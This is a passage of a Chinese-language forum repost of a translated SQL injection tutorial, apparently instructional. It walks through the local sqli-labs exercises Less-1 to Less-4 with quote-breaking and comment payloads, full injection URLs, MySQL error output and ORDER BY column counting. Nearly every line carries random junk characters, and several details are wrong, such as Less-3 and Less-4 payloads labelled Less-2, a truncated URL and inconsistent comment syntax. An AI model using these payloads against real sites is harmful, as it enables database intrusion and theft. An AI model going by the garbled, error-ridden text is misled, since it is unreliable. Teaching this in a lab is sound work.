Sql Injection漏洞一直是在owasp排名第一的漏洞类型,有时候注入漏洞很难通过工具检测到.本文将详细介绍一下Sql Injection的各种类型,通过利用测试的环境,让大家对Sql Injection漏洞有比较多的了解.
$ Q# w) i) _7 `- A8 h什么是sql injection漏洞?* e* \# s2 c1 T, Q7 b
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗数据库服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互.有可能存在SQL注入的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等。
, O/ ?+ G3 w& {4 w: B, x/ \Sql Injection的类型6 q% x' Y. ^9 F$ v0 U @
Sql注入根据数据提取通道的类型,从服务器接收到的响应等可以分为不同的类型.
0 C( |$ Q; k% Q' U
$ f) A& M3 c$ [; r( O: N8 {. D基于从服务器接收到的响应 1 a4 |, d$ y( A
基于错误的SQL注入) r+ Z8 Y j, x& c
联合查询的类型。* j; I. W' r$ a4 U
双击查询注射。+ O5 a; _ g2 b7 d) A" v
SQL盲注
; A1 a! J7 e9 c( B: g基于布尔SQL盲注。
; [7 k& h( W; E3 m+ ?基于时间的SQL盲注。
$ l& ], i6 c) ~! u- Y7 {基于错误的SQL注入主要是SQL Server转储一些错误给用户,通过应用程序的这个错误来进行利用的注入类型.下图中黄色部分显示的是错误。后面将详细的进行介绍。
. t% B: ?2 B) F: A盲注漏洞是指在注射语句之后无法在前端看到后端数据库服务器的反应等,因此”盲”说明了一个事实,只能通过一些计算的假设进行尝试注入.
+ c1 `3 P) w* M' u, t: h2 b8 W8 e基于如何处理输入的SQL查询(数据类型) ( t: N% t$ t& }4 E% F) @
基于字符串4 h7 d$ `0 R' U$ W; ^) }" X, D
数字或整数为基础的
u4 }' R* A" s, O' g根据后端SQL查询如何处理输入的参数的不同,可以将SQL注入分为字符串注入或整数为基础的注入。
9 r$ e' c! R% K- E基于程度和顺序的注入(哪里发生了影响)
: B$ r. A+ L: w3 y$ j- ^" S( {2 I- o一阶注射" ^% y. P. ]! @5 k2 h
二阶注射# T: T& U* x: C8 n& U, h
一阶注射是指输入的注射语句对WEB直接产生了影响,出现了结果;二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,通过其它的辅助间接的对WEB产生危害,这样的就被称为是二阶注入.& c" r+ W" r& }) W& x, L
基于注入点的位置上的
5 u) W. V8 h! x1 Y0 D通过用户输入的表单域的注射。
% L# {! ^8 q9 l9 ]6 \通过cookie注射。& A% a# q0 k( o% H/ V
通过服务器变量注射。 (基于头部信息的注射)! p5 s' X& F9 X
为什么会发生SQL注入?
& r: f2 \. x; ~+ i8 n
3 i3 ~* C3 L p# ~) ^4 `$ f一般来说,一个应用程序与后端数据库会在底层数据库驱动的帮助下,以查询的形式进行交互。 该驱动程序是依赖于正在使用的应用平台和后端数据库的类型,如MYSQL,MSSQL,DB2,ORACLE。- B4 O" C7 ?0 z. E4 K! m
一个通用的登录查询会大概是这样:# \( K. @. ^- q7 g
`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’$variable1′ AND password=’$variable2′;`
2 f8 S, F. q" V& y, |我们可以把这个查询分为两部分,代码段和数据段。 数据部分为$variable1 和 $variable2和用来定义字符串的边界的引号。( t3 S' \) \- m5 A: u( Z
来演示一个实例,假设 在登录表单输入的正确用户名是admin,密码为p@ssw0rd,在后端数据库查询语句就会是如下:/ C8 K6 s1 d0 d, X |5 x
`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’admin′ AND password=’p@ssword′;`" C$ z2 A2 j5 `$ P. X
因为是正确的帐号和密码,这样就可以成功的登录,如果用户恶意输入一些特殊意义的字符串,有可能会引发DB驱动程序的报错,比如在输入用户名为
. r0 n, A2 r: h7 radmin’,SQL查询语句将会变为:
+ a; U2 e6 D1 r1 y, f' f9 { S: z`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’admin’′ AND password=’p@ssword′;`# g, J) D! e, `9 @1 ^
为什么会这样呢?因为用户的恶意输入打破了web应用程序的逻辑.) w' M& P5 u/ }3 J$ M6 U- s
总结:当一个攻击者能够逃避数据的边界,他可以附加数据,产生可解释的SQL查询,在后端数据库执行之后,从而造成注入。) Y( R# V `# Z% @; l2 [7 t
基于错误的SQL注入 ) R/ d. e0 w1 k( U
在一般情况下,所有的编程语言为开发人员为了灵活的调试和修复他们的应用程序,通过使用一些内置的错误处理函数/库,来提供了友好的错误消息,以便可以简化故障排除时间等。
# x# J0 q+ q( u* G; q1 p- J通过输入特殊意义的字符串,根据错误信息的提示,来获取一些有用信息以及敏感数据的过程被列为基于错误的SQL注入。; w0 T8 w. k9 v* N! F
基于错误的注射,可分为两种主要类型:$ z1 K/ k5 q. w) ~9 D5 N9 t& O
联合查询类型
' y4 ~ m( n) O' d1 H0 t& g: B0 x双击查询类型
8 |$ v f0 Z9 X% h1 C" Y& s接下来详细讨论SQL注入的过程.1 e- e' ~ u4 ?( z4 J v' v/ O
这里我们搭建好了测试用的环境,测试的主要逻辑方法有一下几点:
+ z" {& c6 N% d3 b$ S枚举应用程序的行为
; I! l5 B/ i2 M6 S; t用伪造数据模糊测试导致应用程序产生报错
* I+ j* Y: M5 w0 U q通过猜测在后端使用的SQL查询,尽量控制注入点。
+ V: O! h7 w. X; Q从后端数据库中提取数据; _1 d, c0 H; D) `6 ^2 K8 H
理论已经足够了,下面开始行动
* u' Z: D8 a( m' E0 I枚举: 0 W; q1 N: L8 s9 \' a
! I9 _/ G3 P& n6 e' i$ F! L$ i
测试页面less1-less4基本上是相同的,当我们打开less1页面,要求我们输入一个ID值作为get参数.
. n' M" K' u/ i4 @) b8 [8 w图) e4 W C; |- d
ID为数值,我们看到了一个特定的用户名和密码出现在屏幕上,ID的值是1到8之间。 对于任何其他的数值,屏幕上不会有结果显示.
7 f" M1 d r5 N- E& S+ i/ Jid=15 => 页面上没有结果显示2 g0 S( @; T8 {- k6 X
id=14=>页面上没有结果显示! c. y4 o: B& h6 h0 `5 M0 I: L
2 z: k& T/ P5 \0 HID=1 => Login name= Dumb, Password=Dumb
( @; i2 _% u# U5 k0 ^1 W* rID=2 => Login name= Angelina, Password=I-kill-you
& _. f" K4 ~ O) Q9 ?# g7 y, LID=3 => Login name= Dummy, Password=p@ssw0rd2 G8 p8 y( Q: A9 j. s0 c4 c0 C
ID=4 => Login name= secure, Password=crappy
: d; V+ A$ \3 V0 [. g, k" R. SID=5 => Login name= stupid, Password=stupidity& J) X# _: @, k6 P: ?" l
ID=6 => Login name= superman, Password=genious, E N% V( I G$ c
ID=7 => Login name= batman, Password=mob!le" f* B/ w4 h+ j0 h
' @' J- c3 p1 l5 U8 ~/ R3 \: [
ID=8 => Login name= admin, Password=admin
' H0 X1 @$ Z& C C; Y4 a$ qID=15 => 页面上没有结果显示
& S# _" \0 G% c0 Q
7 j% B2 F( }" b/ Y8 p5 L* pID=20 =>页面上没有结果显示
7 W K2 |6 q- Q, H
- b' F! Y: G+ s1 |ID=100 => 页面上没有结果显示
t5 p1 }: V7 Z结果枚举:数据库表中似乎有8条记录,任何不存在的ID值,它返回一个空集。
. n- K/ u5 ]3 y, m+ E7 n4 V模糊测试: " S6 O% a) E+ `: B0 @
3 i6 ^6 n/ ~1 h7 m9 W% T
一般来说,应用程序开发人员假定用户将输入整数值。 尝试用模糊测试所有的应用程序输入点。 那么究竟什么是模糊? 这是一个过程,输入一些特殊意义的参数等,并尝试找到应用程序报错的差异反应。差异的报错表明可能存在漏洞。
+ j* G n* O2 R1 q. y" t; O以下是一些任意的输入:! @" G& T3 A: Y: U" |7 N3 |$ f
“ - I& F* K+ ]! `7 j. |3 @
“ # O6 R a7 g' @
\
# D' x* R% X; Q% T8 S! @; 0 Z5 A) O0 e @% s5 T9 _# z
%00
" F( O4 {& U. N& i: \9 T)
; P& f# a# R# I# p+ q& D( # y6 e/ q2 u0 W3 ?3 @3 n
aaa
( C) G! P; [- V& z2 j- {- z整数或字符串测试:由于输入参数似乎是整数值,让我们尝试输入ID参数的字符串值,并观察其行为。; Q* n, G5 P& G4 T2 |
Less1: http://localhost/sqli-labs/Less-1/?id=asdf
* W" }& N5 k$ ~& ~' OLess2: http://localhost/sqli-labs/Less-2/?id=asdf/ d* n3 ?4 j' `- H, K
" Q3 z4 {4 W8 ALess3: http://localhost/sqli-labs/Less-3/?id=asdf
. ?5 G. R2 W. x; YLess4: http://localhost/sqli-labs/Less-4/?id=asdf8 O* z9 ^% b0 a# o8 C2 N$ |. x
& L: q4 H6 C' y6 U4 L
整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。
/ s3 ^# k( C# h( ^/ a8 E4 S; O继续模糊化:现在,让我们进一步采取模糊的字符.5 V+ F; ?& Y/ q' h
用单引号来进行测试- D" r/ k4 T% j( A: F
less13 Z6 }: q" N! g C( w# h
http://localhost/sqli-labs/Less-1/?id=1‘, \* A0 a" `5 N( j; `1 [+ C y
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1
* `' Z0 o' V5 s* v# H% `6 m" fless2
, y) y y$ J: l5 xhttp://localhost/sqli-labs/Less-2/?id=1 ’
& M4 u" Y5 d4 g: T6 Z3 W5 nYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1
% H! c, X0 g6 o! ~, P8 M. \ B: ]1 j4 y
less3
3 x' z. B$ C z# x* qhttp://localhost/sqli-labs/Less-3/?id=1 ’" n- O0 { o3 ^, Q! E
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1+ u$ b+ @' I7 k& r" R
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.1 y) q5 s) p8 Y
用双引号进行测试9 Y9 F# [, b9 N Q& b. L
用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。7 j( Z' c4 y# {7 e0 W- C4 _
5 z; X/ C: n% y通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入.
3 v6 [6 G3 V; l u( F7 E t4 @" ~
( f4 R. s+ ~5 P综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。) T. I# {$ l% M3 u; }4 Y
用\进行测试
- i4 l: I# t0 I$ h O4 }“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下:
3 U" i4 v! U6 d/ {# rless1
% J2 V1 ]) C% whttp://localhost/sqli-labs/Less-1/?id=1\# X2 ~0 D5 N- _1 e' u* l" {
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1% q" b& j. h8 n3 I
less28 [, k: N. X* W
http://localhost/sqli-labs/Less-2/?id=1\& I- m6 A" l& d: m# h! T/ g& _
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1
/ ]: ^; w% o5 Wless3" p* q' l; T/ K$ W5 H
http://localhost/sqli-labs/Less-3/?id=1\
7 d1 z' j: F/ x, {, M7 [5 [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1* F$ S4 N( Q$ G- t0 h
less4
( q' E: w; p" t4 U+ W4 Ehttp://localhost/sqli-labs/Less-4/?id=1\
# {( c. G6 _" RYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1
' k6 _7 V3 ]( {less1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。( W9 R1 {8 [$ [9 N" F3 Q7 l, P4 \
less2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。) s7 P2 ^8 i* v7 ]
less3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’).# G5 r. U" |) H! C
less4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”).
6 A, R e6 ~- S/ `/ ^这四种情况在后端查询中使用的语句实际分别为:
0 S y& v \/ U* q& xLess-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1# K* c, q0 f0 g7 _1 H1 L
Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,13 G8 e0 E" \4 x8 f! z/ j# B, D
Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,13 I% O3 X- M" m0 D5 \; ^4 n; n
Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1
& ]8 n4 j, W4 V; h 3 X7 x* Q S+ \9 Z
对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如:
8 ^. r2 Y+ O# [. g- `4 E7 BLess-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1% ]2 S& S6 A9 Q, C0 N
当我们输入的参数$ID的值为1‘,查询语句就会变成如下:
% e4 p. N& x) R& g1 GSELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1
4 [6 K/ I6 o4 S) R2 `1 \ W' T现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法:8 i2 ]8 Z; }$ U+ E2 w9 C0 [
方法一:, f5 b& Q4 V" ]0 M: y
可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#7 E/ f! U U# w0 U6 y! z' K
查询语句将变为如下:; O: h! u9 ]) w0 i: U, _3 M1 N! J
SELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1( f0 M, C! u+ P
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,13 W$ z6 |: p2 }5 b9 w! o9 r& }
注射的完整URL如下:
6 ?' v s# R8 [& `4 dhttp://localhost/sqli-labs/Less-1/?id=1′–+
; m2 e9 U4 t& `, H2 @% Chttp://localhost/sqli-labs/Less-1/?id=1′ %23
& Y1 F& u: k; U7 |0 |5 o(%23是#号的url编码)0 n9 e1 H$ Z' `. ^
在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下:
4 S) e0 K' O7 \6 j2 N9 y5 Chttp://localhost/sqli-labs/Less-2/?id=1–+ I! n8 c4 P) `( m+ H6 o; f
$ [3 Q$ \, Z/ W; o6 Y4 M
ttp://localhost/sqli-labs/Less-2/?id=1 %23
6 u+ q# }* s, h- A& T7 [3 tSELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,16 M# F% j/ D4 @# H% H! X
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1
8 S6 A) G* ?9 p0 h在less3中,我们推断后端sql语句如下:
3 l8 S6 e2 F2 c1 TSELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1
7 N' E* C b5 x所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句
1 q9 c- B* z( h9 w3 K6 [, `SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,1
( e) [! \- L2 [: ^" eSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1/ e/ G- @) `* R- m
注射: 1′) –+ 1′) #8 G# K+ p( o5 W1 e1 j( A8 _4 L
完整的注射URL:6 H- U4 B: Q; `9 i
http://localhost/sqli-labs/Less-2/?id=1‘)-+$ |5 z1 F# A# c& x+ v
http://localhost/sqli-labs/Less-2/?id=1′) %237 Q1 R" g/ K8 T
在less4中,我们推广后端sql语句如下:
6 O6 W- w+ ?" u0 Z: w: y6 WSELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1
4 I. q/ w. W2 O" \. p7 L; r同样,需要关闭掉分隔符,然后注释掉后面的语句" s% Q0 h4 O/ [" Y2 e
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,10 |( T+ L, a$ A9 a! C& o5 k2 C
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1
; z( x3 w& l/ f3 I o3 X注射: 1″) –+ 1″) #
' ~# |8 L0 R: Hhttp://localhost/sqli-labs/Less-2/?id=1″)–+
( m$ Q: G3 E5 V9 }9 bhttp://localhost/sqli-labs/Less-2/?id=1 “)%237 v; r; ]/ p/ E9 _5 W7 f) L, K* \
通过查询了解表中的字段数, H: N) g2 S2 C; o
正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。
; m3 |* Y" |' I1 D' @4 |2 A+ C# x/ }下面我们测试用order by 1,order by 2……等来查询观察结果.
1 t) o* X7 I' w. c- k. }http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面4 o$ l3 r+ R$ z0 l8 `2 I( J
http://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列.
* M: F: ?9 l1 n$ g5 u) Z& \Lesson2:$ b5 R I0 R2 _: r1 O; }0 l. y
Injection: 1 ORDER BY 1 –+ => 没有错误.6 w( x9 E/ k1 G( W2 ?
Injection: 1 ORDER BY 2–+ => 没有错误.0 N" N0 N( n5 L4 D* N! E
Injection: 1 ORDER BY 3 –+ => 没有错误.
! v6 e) c, M7 \7 y1 C8 oInjection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列.) M, k8 I, |7 x8 i
当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。2 J2 S, T. |/ J# s0 f9 a
9 C; m1 L6 M; b9 g( h
本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。 |